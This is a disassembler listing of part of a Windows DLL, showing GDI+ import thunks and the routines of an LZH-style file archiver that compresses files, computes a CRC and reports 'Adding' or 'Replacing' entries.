; [00000006 BYTES: COLLAPSED FUNCTION j_GdipSaveImageToFile_thunk. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



GdipDisposeImage_thunk proc near	; CODE XREF: j_GdipDisposeImage_thunkj
		push	ecx
		push	edx
		push	offset GdipDisposeImage
		jmp	loc_1001AD34
GdipDisposeImage_thunk endp

; [00000006 BYTES: COLLAPSED FUNCTION j_GdipDisposeImage_thunk.	PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



GdipFree_thunk	proc near		; CODE XREF: j_GdipFree_thunkj
		push	ecx
		push	edx
		push	offset GdipFree
		jmp	loc_1001AD34
GdipFree_thunk	endp

; [00000006 BYTES: COLLAPSED FUNCTION j_GdipFree_thunk.	PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



GdipCloneImage_thunk proc near		; CODE XREF: j_GdipCloneImage_thunkj
		push	ecx
		push	edx
		push	offset GdipCloneImage
		jmp	loc_1001AD34
GdipCloneImage_thunk endp

; [00000006 BYTES: COLLAPSED FUNCTION j_GdipCloneImage_thunk. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



GdipAlloc_thunk	proc near		; CODE XREF: j_GdipAlloc_thunkj
		push	ecx
		push	edx
		push	offset GdipAlloc
		jmp	loc_1001AD34
GdipAlloc_thunk	endp

; [00000006 BYTES: COLLAPSED FUNCTION j_GdipAlloc_thunk. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



GdipCreateBitmapFromHBITMAP_thunk proc near
					; CODE XREF: j_GdipCreateBitmapFromHBITMAP_thunkj
		push	ecx
		push	edx
		push	offset GdipCreateBitmapFromHBITMAP
		jmp	loc_1001AD34
GdipCreateBitmapFromHBITMAP_thunk endp

; [00000006 BYTES: COLLAPSED FUNCTION j_GdipCreateBitmapFromHBITMAP_thunk. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================


GdipCloneBitmapAreaI_thunk proc	near	; CODE XREF: j_GdipCloneBitmapAreaI_thunkj
		push	ecx
		push	edx
		push	offset GdipCloneBitmapAreaI
		jmp	loc_1001AD34
GdipCloneBitmapAreaI_thunk endp

; [00000006 BYTES: COLLAPSED FUNCTION j_GdipCloneBitmapAreaI_thunk. PRESS KEYPAD "+" TO	EXPAND]

; =============== S U B	R O U T	I N E =======================================



GdiplusStartup_thunk proc near		; CODE XREF: j_GdiplusStartup_thunkj
		push	ecx
		push	edx
		push	offset GdiplusStartup
		jmp	loc_1001AD34
GdiplusStartup_thunk endp

; [00000006 BYTES: COLLAPSED FUNCTION j_GdiplusStartup_thunk. PRESS KEYPAD "+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



GdiplusShutdown_thunk proc near		; CODE XREF: j_GdiplusShutdown_thunkj
		push	ecx
		push	edx
		push	offset GdiplusShutdown
		jmp	loc_1001AD34
GdiplusShutdown_thunk endp

; [00000006 BYTES: COLLAPSED FUNCTION j_GdiplusShutdown_thunk. PRESS KEYPAD "+"	TO EXPAND]
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_1001AE00(char	*Filename, int)

sub_1001AE00	proc near		; CODE XREF: sub_1000B7EF+C90p
					; sub_1000B7EF+FAFp

Filename	= dword	ptr  4
arg_4		= dword	ptr  8

		mov	eax, [esp+Filename]
		push	ebx
		push	edi
		push	offset aWb	; "wb"
		push	eax		; Filename
		call	ds:fopen	; fopen
		add	esp, 8
		mov	File, eax
		call	sub_1001B2C0
		mov	ebx, [esp+8+arg_4]
		mov	edi, [ebx]
		test	edi, edi
		jbe	short loc_1001AE5E
		push	esi


loc_1001AE2A:				; CODE XREF: sub_1001AE00+5Bj
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	edx, ecx
		mov	esi, edi
		mov	edi, offset Filename
		shr	ecx, 2
		rep movsd
		mov	ecx, edx
		and	ecx, 3
		rep movsb
		call	sub_1001AE90
		mov	edi, [ebx+4]
		add	ebx, 4
		add	esp, 4
		test	edi, edi
		ja	short loc_1001AE2A
		pop	esi


loc_1001AE5E:				; CODE XREF: sub_1001AE00+27j
		mov	eax, File
		push	eax		; File
		push	0		; Ch
		call	ds:fputc	; fputc
		mov	ecx, File
		push	ecx		; File
		call	ds:fclose	; fclose
		add	esp, 0Ch
		xor	eax, eax
		pop	edi
		pop	ebx
		retn
sub_1001AE00	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1001AE90	proc near		; CODE XREF: sub_1001AE00+4Bp

arg_0		= dword	ptr  4

		push	ebx
		push	offset Mode	; "rb"
		push	offset Filename	; Filename
		call	ds:fopen	; fopen
		xor	ebx, ebx
		add	esp, 8
		cmp	eax, ebx
		mov	dword_1007633C,	eax
		jnz	short loc_1001AECF
		mov	eax, ds:_iob
		push	offset Filename
		add	eax, 40h
		push	offset aCanTOpenS ; "Can't open %s\n"
		push	eax		; File
		call	ds:fprintf	; fprintf
		add	esp, 0Ch
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_1001AECF:				; CODE XREF: sub_1001AE90+1Dj
		mov	eax, [esp+4+arg_0]
		push	offset Filename
		cmp	eax, ebx
		jz	short loc_1001AEF1
		push	offset aReplacingS ; "Replacing	%s "
		call	ds:printf	; printf
		add	esp, 8
		call	sub_1001B1B0
		jmp	short loc_1001AEFF
; ---------------------------------------------------------------------------


loc_1001AEF1:				; CODE XREF: sub_1001AE90+4Aj
		push	offset aAddingS	; "Adding %s "
		call	ds:printf	; printf
		add	esp, 8


loc_1001AEFF:				; CODE XREF: sub_1001AE90+5Fj
		mov	ecx, File
		push	ebp
		push	esi
		mov	esi, ds:ftell
		push	edi
		push	ecx		; File
		call	esi ; ftell
		mov	ebp, eax
		mov	edi, offset Filename
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		mov	edx, dword_100240FC
		mov	al, byte_10024100
		not	ecx
		dec	ecx
		mov	dword_1007401C,	edx
		mov	byte_1007402F, cl
		add	cl, 19h
		mov	byte ptr dword_10074120, cl
		mov	byte_10074020, al
		call	sub_1001B110
		mov	ecx, File
		push	ecx		; File
		call	esi ; ftell
		add	esp, 8
		mov	edi, eax
		mov	Offset,	ebx
		mov	dword_10074014,	ebx
		mov	dword_1007411C,	ebx
		mov	dword_10076130,	ebx
		call	sub_1001B640
		mov	eax, dword_1007411C
		mov	esi, ds:fseek
		cmp	eax, ebx
		jz	short loc_1001AFAC
		mov	edx, dword_1007633C
		mov	byte ptr dword_1007401C+3, 30h
		push	edx		; File
		call	ds:rewind	; rewind
		mov	eax, File
		push	ebx		; Origin
		push	edi		; Offset
		push	eax		; File
		call	esi ; fseek
		add	esp, 10h
		call	sub_1001B1D0


loc_1001AFAC:				; CODE XREF: sub_1001AE90+F4j
		mov	edx, dword_1007633C
		mov	ecx, dword_10076130
		push	edx		; File
		mov	dword_10074124,	ecx
		call	ds:fclose	; fclose
		mov	eax, Offset
		push	eax
		push	4
		push	5
		call	sub_1001B0E0
		mov	ecx, dword_10074014
		push	ecx
		push	4
		push	9
		call	sub_1001B0E0
		mov	ecx, dword_10074120
		mov	edx, dword_100240F4
		mov	ax, word_100240F8
		and	ecx, 0FFh
		mov	dword_10074029,	edx
		mov	word_1007402D, ax
		mov	ax, word_100240F0
		lea	edx, (Offset+1)[ecx]
		mov	cl, byte_100240F2
		push	ebx		; Origin
		mov	[edx], ax
		push	ebp		; Offset
		mov	[edx+2], cl
		mov	edx, File
		push	edx		; File
		call	esi ; fseek
		call	sub_1001B110
		mov	eax, File
		push	2		; Origin
		push	ebx		; Offset
		push	eax		; File
		call	esi ; fseek
		mov	ecx, dword_10074014
		mov	edx, Offset
		push	ecx
		push	edx
		call	sub_1001B080
		xor	edx, edx
		mov	esi, 0Ah
		mov	ecx, eax
		div	esi
		mov	eax, 0CCCCCCCDh
		push	edx
		mul	ecx
		shr	edx, 3
		push	edx
		push	offset aD_D_0	; " %d.%d%%\n"
		call	ds:printf	; printf
		add	esp, 48h
		mov	eax, 1
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_1001AE90	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1001B080	proc near		; CODE XREF: sub_1001AE90+1B9p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, [esp+arg_0]
		push	esi
		mov	esi, [esp+4+arg_4]
		push	edi
		mov	edi, 3


loc_1001B08F:				; CODE XREF: sub_1001B080+2Bj
		cmp	ecx, 19999999h
		ja	short loc_1001B09E
		lea	ecx, [ecx+ecx*4]
		shl	ecx, 1
		jmp	short loc_1001B0AA
; ---------------------------------------------------------------------------


loc_1001B09E:				; CODE XREF: sub_1001B080+15j
		mov	eax, 0CCCCCCCDh
		mul	esi
		shr	edx, 3
		mov	esi, edx


loc_1001B0AA:				; CODE XREF: sub_1001B080+1Cj
		dec	edi
		jnz	short loc_1001B08F
		mov	eax, esi
		shr	eax, 1
		lea	edx, [eax+ecx]
		cmp	edx, ecx
		jnb	short loc_1001B0BC
		shr	ecx, 1
		mov	esi, eax


loc_1001B0BC:				; CODE XREF: sub_1001B080+36j
		test	esi, esi
		jnz	short loc_1001B0C5
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_1001B0C5:				; CODE XREF: sub_1001B080+3Ej
		mov	eax, esi
		xor	edx, edx
		shr	eax, 1
		add	eax, ecx
		pop	edi
		div	esi
		pop	esi
		retn
sub_1001B080	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1001B0E0	proc near		; CODE XREF: sub_1001AE90+13Fp
					; sub_1001AE90+14Fp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	ecx, [esp+arg_4]
		dec	ecx
		js	short locret_1001B101
		mov	eax, [esp+arg_0]
		lea	edx, [ecx+1]
		mov	ecx, [esp+arg_8]
		lea	eax, dword_1007401C[eax]


loc_1001B0F8:				; CODE XREF: sub_1001B0E0+1Fj
		mov	[eax], cl
		inc	eax
		shr	ecx, 8
		dec	edx
		jnz	short loc_1001B0F8

locret_1001B101:			; CODE XREF: sub_1001B0E0+5j
		retn
sub_1001B0E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1001B110	proc near		; CODE XREF: sub_1001AE90+B7p
					; sub_1001AE90+19Bp
		mov	ecx, dword_10074120
		mov	eax, File
		push	esi
		mov	esi, ds:fputc
		and	ecx, 0FFh
		push	eax		; File
		push	ecx		; Ch
		call	esi ; fputc
		mov	eax, dword_10074120
		mov	edx, dword_10074124
		and	eax, 0FFh
		push	edx
		sub	eax, 5
		push	2
		push	eax
		call	sub_1001B0E0
		mov	ecx, File
		add	esp, 14h
		push	ecx		; File
		call	sub_1001B180
		push	eax		; Ch
		call	esi ; fputc
		mov	eax, dword_10074120
		mov	edx, File
		and	eax, 0FFh
		push	edx		; File
		push	eax		; Count
		push	offset dword_1007401C ;	Str
		call	sub_1001B450
		add	esp, 14h
		pop	esi
		retn
sub_1001B110	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1001B180	proc near		; CODE XREF: sub_1001B110+42p
		mov	edx, dword_10074120
		push	esi
		xor	esi, esi
		xor	ecx, ecx
		and	edx, 0FFh
		jle	short loc_1001B1A2


loc_1001B193:				; CODE XREF: sub_1001B180+20j
		xor	eax, eax
		mov	al, byte ptr dword_1007401C[ecx]
		add	esi, eax
		inc	ecx
		cmp	ecx, edx
		jl	short loc_1001B193


loc_1001B1A2:				; CODE XREF: sub_1001B180+11j
		mov	eax, esi
		pop	esi
		and	eax, 0FFh
		retn
sub_1001B180	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1001B1B0	proc near		; CODE XREF: sub_1001AE90+5Ap
		mov	eax, Offset
		mov	ecx, dword_10076348
		push	1		; Origin
		push	eax		; Offset
		push	ecx		; File
		call	ds:fseek	; fseek
		add	esp, 0Ch
		retn
sub_1001B1B0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1001B1D0	proc near		; CODE XREF: sub_1001AE90+117p
		mov	eax, dword_1007633C
		push	esi
		push	edi
		mov	edi, ds:fread
		push	eax		; File
		push	2000h		; Count
		push	1		; ElementSize
		push	offset dword_10074128 ;	DstBuf
		mov	dword_10074014,	0
		mov	dword_10076130,	0
		call	edi ; fread
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jz	short loc_1001B254


loc_1001B209:				; CODE XREF: sub_1001B1D0+75j
		mov	ecx, File
		push	ecx		; File
		push	esi		; Count
		push	offset dword_10074128 ;	Str
		call	sub_1001B450
		mov	edx, dword_10074014
		add	edx, esi
		mov	dword_10074014,	edx
		mov	edx, dword_1007633C
		push	edx		; File
		push	2000h		; Count
		push	1		; ElementSize
		push	offset dword_10074128 ;	DstBuf
		call	edi ; fread
		mov	esi, eax
		add	esp, 1Ch
		test	esi, esi
		jnz	short loc_1001B209
		mov	eax, dword_10074014
		pop	edi
		mov	Offset,	eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_1001B254:				; CODE XREF: sub_1001B1D0+37j
		mov	ecx, dword_10074014
		pop	edi
		mov	Offset,	ecx
		pop	esi
		retn
sub_1001B1D0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn

; int __cdecl sub_1001B270(char	*Format, char ArgList)

sub_1001B270	proc near		; CODE XREF: sub_1001B450+25p
					; sub_1001B770+71p ...

Format		= dword	ptr  4
ArgList		= byte ptr  8

		mov	eax, ds:_iob
		push	esi
		mov	esi, ds:putc
		add	eax, 40h
		push	eax		; File
		push	0Ah		; Ch
		call	esi ; putc
		mov	eax, ds:_iob
		mov	edx, [esp+0Ch+Format]
		lea	ecx, [esp+0Ch+ArgList]
		add	eax, 40h
		push	ecx		; ArgList
		push	edx		; Format
		push	eax		; File
		call	ds:vfprintf	; vfprintf
		mov	ecx, ds:_iob
		add	ecx, 40h
		push	ecx		; File
		push	0Ah		; Ch
		call	esi ; putc
		add	esp, 1Ch
		push	1		; Code
		call	ds:exit	; exit
sub_1001B270	endp

; ---------------------------------------------------------------------------
		pop	esi
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop
		nop

; =============== S U B	R O U T	I N E =======================================



sub_1001B2C0	proc near		; CODE XREF: sub_1001AE00+1Ap
		push	esi
		xor	edx, edx
		mov	ecx, offset word_10076134


loc_1001B2C8:				; CODE XREF: sub_1001B2C0+2Aj
		mov	eax, edx
		mov	esi, 8


loc_1001B2CF:				; CODE XREF: sub_1001B2C0+1Bj
		test	al, 1
		jz	short loc_1001B2D8
		xor	eax, 14002h


loc_1001B2D8:				; CODE XREF: sub_1001B2C0+11j
		shr	eax, 1
		dec	esi
		jnz	short loc_1001B2CF
		mov	[ecx], ax
		add	ecx, 2
		inc	edx
		cmp	ecx, offset word_10076332
		jle	short loc_1001B2C8
		pop	esi
		retn
sub_1001B2C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1001B2F0	proc near		; CODE XREF: sub_1001BF50+2Cp
					; sub_1001BF50+7Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	ecx, dword_10076344
		push	ebx
		push	esi
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		cmp	edi, ecx
		jge	short loc_1001B321
		mov	eax, [esp+0Ch+arg_4]
		sub	ecx, edi
		shl	eax, cl
		mov	dword_10076344,	ecx
		mov	ecx, dword_10076338
		pop	edi
		pop	esi
		pop	ebx
		or	ecx, eax
		mov	dword_10076338,	ecx
		retn
; ---------------------------------------------------------------------------


loc_1001B321:				; CODE XREF: sub_1001B2F0+Fj
		mov	edx, Offset
		mov	eax, dword_10074014
		mov	esi, [esp+0Ch+arg_4]
		mov	ebx, ds:putc
		cmp	edx, eax
		jnb	short loc_1001B363
		sub	edi, ecx
		mov	eax, File
		mov	edx, esi
		mov	ecx, edi
		shr	edx, cl
		mov	ecx, dword_10076338
		push	eax		; File
		or	edx, ecx
		push	edx		; Ch
		call	ebx ; putc
		mov	eax, Offset
		add	esp, 8
		inc	eax
		mov	Offset,	eax
		jmp	short loc_1001B36D
; ---------------------------------------------------------------------------


loc_1001B363:				; CODE XREF: sub_1001B2F0+48j
		mov	dword_1007411C,	1


loc_1001B36D:				; CODE XREF: sub_1001B2F0+71j
		cmp	edi, 8
		jge	short loc_1001B38B
		mov	ecx, 8
		sub	ecx, edi
		pop	edi
		shl	esi, cl
		mov	dword_10076344,	ecx
		mov	dword_10076338,	esi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_1001B38B:				; CODE XREF: sub_1001B2F0+80j
		mov	eax, dword_10074014
		mov	ecx, Offset
		cmp	ecx, eax
		jnb	short loc_1001B3BB
		mov	ecx, File
		mov	edx, esi
		push	ecx		; File
		lea	ecx, [edi-8]
		shr	edx, cl
		push	edx		; Ch
		call	ebx ; putc
		mov	eax, Offset
		add	esp, 8
		inc	eax
		mov	Offset,	eax
		jmp	short loc_1001B3C5
; ---------------------------------------------------------------------------


loc_1001B3BB:				; CODE XREF: sub_1001B2F0+A8j
		mov	dword_1007411C,	1


loc_1001B3C5:				; CODE XREF: sub_1001B2F0+C9j
		mov	ecx, 10h
		sub	ecx, edi
		pop	edi
		shl	esi, cl
		mov	dword_10076344,	ecx
		mov	dword_10076338,	esi
		pop	esi
		pop	ebx
		retn
sub_1001B2F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_1001B3E0(void	*DstBuf, size_t	Count, FILE *File)

sub_1001B3E0	proc near		; CODE XREF: sub_1001B640+27p
					; sub_1001BBB0+4Ep

DstBuf		= dword	ptr  4
Count		= dword	ptr  8
File		= dword	ptr  0Ch

		mov	eax, [esp+File]
		mov	ecx, [esp+Count]
		push	esi
		mov	esi, [esp+4+DstBuf]
		push	edi
		push	eax		; File
		push	ecx		; Count
		push	1		; ElementSize
		push	esi		; DstBuf
		call	ds:fread	; fread
		mov	ecx, dword_10074014
		mov	edi, eax
		add	ecx, edi
		add	esp, 10h
		mov	dword_10074014,	ecx
		lea	ecx, [edi-1]
		test	ecx, ecx
		jl	short loc_1001B44B
		lea	edx, [ecx+1]
		mov	ecx, dword_10076130
		push	ebx


loc_1001B41D:				; CODE XREF: sub_1001B3E0+63j
		mov	eax, ecx
		xor	ebx, ebx
		mov	bl, [esi]
		and	eax, 0FFh
		xor	eax, ebx
		xor	ebx, ebx
		shr	ecx, 8
		mov	bx, word_10076134[eax*2]
		mov	eax, ebx
		xor	ecx, eax
		inc	esi
		dec	edx
		mov	dword_10076130,	ecx
		jnz	short loc_1001B41D
		mov	eax, edi
		pop	ebx
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_1001B44B:				; CODE XREF: sub_1001B3E0+31j
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_1001B3E0	endp


; =============== S U B	R O U T	I N E =======================================


; int __cdecl sub_1001B450(void	*Str, size_t Count, FILE *File)

sub_1001B450	proc near		; CODE XREF: sub_1001B110+61p
					; sub_1001B1D0+46p

Str		= dword	ptr  4
Count		= dword	ptr  8
File		= dword	ptr  0Ch

		mov	eax, [esp+File]
		push	esi
		mov	esi, [esp+4+Str]
		push	edi
		mov	edi, [esp+8+Count]
		push	eax		; File
		push	edi		; Count
		push	1		; Size
		push	esi		; Str
		call	ds:fwrite	; fwrite
		add	esp, 10h
		cmp	eax, edi
		jnb	short loc_1001B47D
		push	offset aUnableToWrite ;	"Unable	to write"
		call	sub_1001B270
; ---------------------------------------------------------------------------
		db  83h	; ƒ
		db 0C4h	; Ä
		db    4
; ---------------------------------------------------------------------------


loc_1001B47D:				; CODE XREF: sub_1001B450+1Ej
		dec	edi
		js	short loc_1001B4B2
		mov	eax, dword_10076130
		push	ebx
		lea	ecx, [edi+1]


loc_1001B489:				; CODE XREF: sub_1001B450+5Fj
		mov	edx, eax
		xor	ebx, ebx
		mov	bl, [esi]
		and	edx, 0FFh
		xor	edx, ebx
		xor	edi, edi
		shr	eax, 8
		mov	di, word_10076134[edx*2]
		mov	edx, edi
		xor	eax, edx
		inc	esi
		dec	ecx
		mov	dword_10076130,	eax
		jnz	short loc_1001B489
		pop	ebx


loc_1001B4B2:				; CODE XREF: sub_1001B450+2Ej
		pop	edi
		pop	esi
		retn
sub_1001B450	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1001B4C0	proc near		; CODE XREF: sub_1001C420+9Ap
		mov	dword_10076344,	8
		mov	dword_10076338,	0
		retn
sub_1001B4C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1001B4E0	proc near		; CODE XREF: sub_1001B890+206p

arg_0		= dword	ptr  4

		mov	ecx, dword_10076374
		push	ebx
		push	esi
		mov	esi, dword_10076360
		movsx	eax, si
		push	edi
		mov	edi, [esp+0Ch+arg_0]
		mov	dx, [ecx+eax*2]
		mov	ecx, dword_10076354
		mov	word ptr dword_10076360, dx
		push	edi
		mov	byte ptr [eax+ecx], 0
		mov	ebx, dword_10076364
		movsx	ecx, di
		shl	ecx, 1
		mov	dx, [ecx+ebx]
		mov	[ebx+eax*2], dx
		mov	ebx, dword_10076374
		movsx	edx, dx
		mov	[ebx+edx*2], si
		mov	ebx, dword_10076374
		mov	dx, [ecx+ebx]
		mov	[ebx+eax*2], dx
		mov	ebx, dword_10076364
		movsx	edx, dx
		mov	[ebx+edx*2], si
		mov	edx, dword_1007635C
		mov	cx, [ecx+edx]
		mov	[edx+eax*2], cx
		mov	ecx, dword_10076368
		mov	dl, byte ptr dword_10076350
		mov	[eax+ecx], dl
		mov	ecx, dword_1007634C
		mov	dx, word ptr dword_10076358+2
		mov	[ecx+eax*2], dx
		mov	eax, dword_1007636C
		movsx	edx, word ptr dword_10076358
		add	edx, eax
		mov	eax, dword_10076350
		mov	cl, [edx+eax]
		push	ecx
		push	esi
		call	sub_1001B5C0
		mov	ax, word ptr dword_10076358+2
		mov	ebx, dword_1007636C
		mov	ecx, dword_10076350
		mov	dx, ax
		movsx	eax, ax
		add	eax, ebx
		push	edx
		mov	dl, [eax+ecx]
		push	edx
		push	esi
		call	sub_1001B5C0
		add	esp, 18h
		pop	edi
		pop	esi
		pop	ebx
		retn
sub_1001B4E0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1001B5C0	proc near		; CODE XREF: sub_1001B4E0+ADp
					; sub_1001B4E0+D2p ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= word ptr  0Ch

		movzx	ax, [esp+arg_4]
		mov	edx, [esp+arg_0]
		add	eax, 400h
		shl	eax, 4
		add	eax, edx
		push	ebx
		movsx	ecx, ax
		push	esi
		mov	esi, dword_10076374
		push	edi
		mov	di, [esp+0Ch+arg_8]
		lea	ecx, [esi+ecx*2]
		mov	si, [ecx]
		mov	[ecx], di
		mov	ebx, dword_10076374
		movsx	ecx, di
		shl	ecx, 1
		mov	[ecx+ebx], si
		mov	ebx, dword_10076364
		movsx	esi, si
		mov	[ebx+esi*2], di
		mov	esi, dword_10076364
		pop	edi
		mov	[ecx+esi], ax
		mov	eax, dword_1007635C
		pop	esi
		pop	ebx
		mov	[ecx+eax], dx
		movsx	ecx, dx
		mov	edx, dword_10076354
		lea	eax, [ecx+edx]
		mov	cl, [ecx+edx]
		inc	cl
		mov	[eax], cl
		retn
sub_1001B5C0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1001B640	proc near		; CODE XREF: sub_1001AE90+E2p
		call	sub_1001B770
		call	sub_1001B7F0
		call	sub_1001C420
		mov	eax, dword_1007633C
		mov	ecx, dword_1007636C
		push	eax		; File
		add	ecx, 2000h
		push	2100h		; Count
		push	ecx		; DstBuf
		call	sub_1001B3E0
		mov	edx, ds:_iob
		mov	dword_10076370,	eax
		add	edx, 40h
		push	edx		; File
		push	2Eh		; Ch
		call	ds:putc	; putc
		add	esp, 14h
		mov	dword_10076350,	0
		mov	word ptr dword_10076358+2, 2000h
		call	sub_1001B890
		mov	eax, dword_10076370
		mov	ecx, dword_10076350
		cmp	ecx, eax
		jle	short loc_1001B6B2
		mov	dword_10076350,	eax


loc_1001B6B2:				; CODE XREF: sub_1001B640+6Bj
		push	esi
		push	edi
		test	eax, eax
		jle	loc_1001B767


loc_1001B6BC:				; CODE XREF: sub_1001B640+121j
		mov	eax, dword_1007411C
		test	eax, eax
		jnz	loc_1001B767
		mov	esi, dword_10076350
		mov	edi, dword_10076358
		call	sub_1001BBB0
		mov	eax, dword_10076350
		mov	ecx, dword_10076370
		cmp	eax, ecx
		jle	short loc_1001B6F0
		mov	eax, ecx
		mov	dword_10076350,	eax


loc_1001B6F0:				; CODE XREF: sub_1001B640+A7j
		cmp	eax, esi
		jg	short loc_1001B73C
		cmp	esi, 3
		jl	short loc_1001B73C
		mov	ax, word ptr dword_10076358+2
		lea	ecx, [esi+0FDh]
		sub	eax, edi
		sub	eax, 2
		and	eax, 1FFFh
		push	eax
		push	ecx
		call	sub_1001BE50
		add	esp, 8
		dec	esi
		test	esi, esi
		jle	short loc_1001B726


loc_1001B71E:				; CODE XREF: sub_1001B640+E4j
		call	sub_1001BBB0
		dec	esi
		jnz	short loc_1001B71E


loc_1001B726:				; CODE XREF: sub_1001B640+DCj
		mov	eax, dword_10076370
		mov	ecx, dword_10076350
		cmp	ecx, eax
		jle	short loc_1001B75F
		mov	dword_10076350,	eax
		jmp	short loc_1001B75F
; ---------------------------------------------------------------------------


loc_1001B73C:				; CODE XREF: sub_1001B640+B2j
					; sub_1001B640+B7j
		movsx	edx, word ptr dword_10076358+2
		mov	ecx, dword_1007636C
		xor	eax, eax
		push	0
		mov	al, [edx+ecx-1]
		push	eax
		call	sub_1001BE50
		mov	eax, dword_10076370
		add	esp, 8


loc_1001B75F:				; CODE XREF: sub_1001B640+F3j
					; sub_1001B640+FAj
		test	eax, eax
		jg	loc_1001B6BC


loc_1001B767:				; CODE XREF: sub_1001B640+76j
					; sub_1001B640+83j
		call	sub_1001C4D0
		pop	edi
		pop	esi
		retn
sub_1001B640	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1001B770	proc near		; CODE XREF: sub_1001B640p
		mov	eax, dword_10076374
		test	eax, eax
		jnz	short locret_1001B7E7
		push	esi
		mov	esi, ds:malloc
		push	4100h		; Size
		call	esi ; malloc
		push	2100h		; Size
		mov	dword_1007636C,	eax
		call	esi ; malloc
		push	2100h		; Size
		mov	dword_10076368,	eax
		call	esi ; malloc
		push	4200h		; Size
		mov	dword_10076354,	eax
		call	esi ; malloc
		push	8000h		; Size
		mov	dword_1007634C,	eax
		call	esi ; malloc
		push	8000h		; Size
		mov	dword_1007635C,	eax
		call	esi ; malloc
		push	0E1E0h		; Size
		mov	dword_10076364,	eax
		call	esi ; malloc
		add	esp, 1Ch
		mov	dword_10076374,	eax
		test	eax, eax
		pop	esi
		jnz	short locret_1001B7E7
		push	offset aOutOfMemory_ ; "Out of memory."
		call	sub_1001B270
; ---------------------------------------------------------------------------
		db  59h	; Y
; ---------------------------------------------------------------------------

locret_1001B7E7:			; CODE XREF: sub_1001B770+7j
					; sub_1001B770+6Aj
		retn
sub_1001B770	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1001B7F0	proc near		; CODE XREF: sub_1001B640+5p
		mov	eax, 2000h
		mov	ecx, 100h


loc_1001B7FA:				; CODE XREF: sub_1001B7F0+24j
		mov	edx, dword_10076368
		inc	eax
		dec	ecx
		mov	byte ptr [eax+edx-1], 1
		mov	edx, dword_1007634C
		mov	word ptr [edx+eax*2-2],	0
		jnz	short loc_1001B7FA
		mov	eax, 4000h
		mov	ecx, 2000h


loc_1001B820:				; CODE XREF: sub_1001B7F0+41j
		mov	edx, dword_1007635C
		add	eax, 2
		dec	ecx
		mov	word ptr [eax+edx-2], 0
		jnz	short loc_1001B820
		mov	word ptr dword_10076360, 1
		mov	eax, 1
		mov	ecx, 2


loc_1001B846:				; CODE XREF: sub_1001B7F0+68j
		mov	edx, dword_10076374
		inc	eax
		mov	[ecx+edx], ax
		add	ecx, 2
		cmp	ax, 1FFFh
		jb	short loc_1001B846
		mov	eax, dword_10076374
		mov	ecx, 30F0h
		mov	word ptr [eax+3FFEh], 0
		mov	eax, 8000h


loc_1001B872:				; CODE XREF: sub_1001B7F0+93j
		mov	edx, dword_10076374
		add	eax, 2
		dec	ecx
		mov	word ptr [eax+edx-2], 0
		jnz	short loc_1001B872
		retn
sub_1001B7F0	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_1001B890	proc near		; CODE XREF: sub_1001B640+59p
					; sub_1001BBB0+84j

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		mov	ebp, dword_10076350
		push	esi
		cmp	ebp, 4
		push	edi
		jl	loc_1001B972
		mov	eax, dword_10076358
		dec	ebp
		inc	eax
		mov	esi, dword_1007635C
		or	ah, 20h
		mov	dword_10076350,	ebp
		movsx	ecx, ax
		shl	ecx, 1
		mov	di, [ecx+esi]
		test	di, di
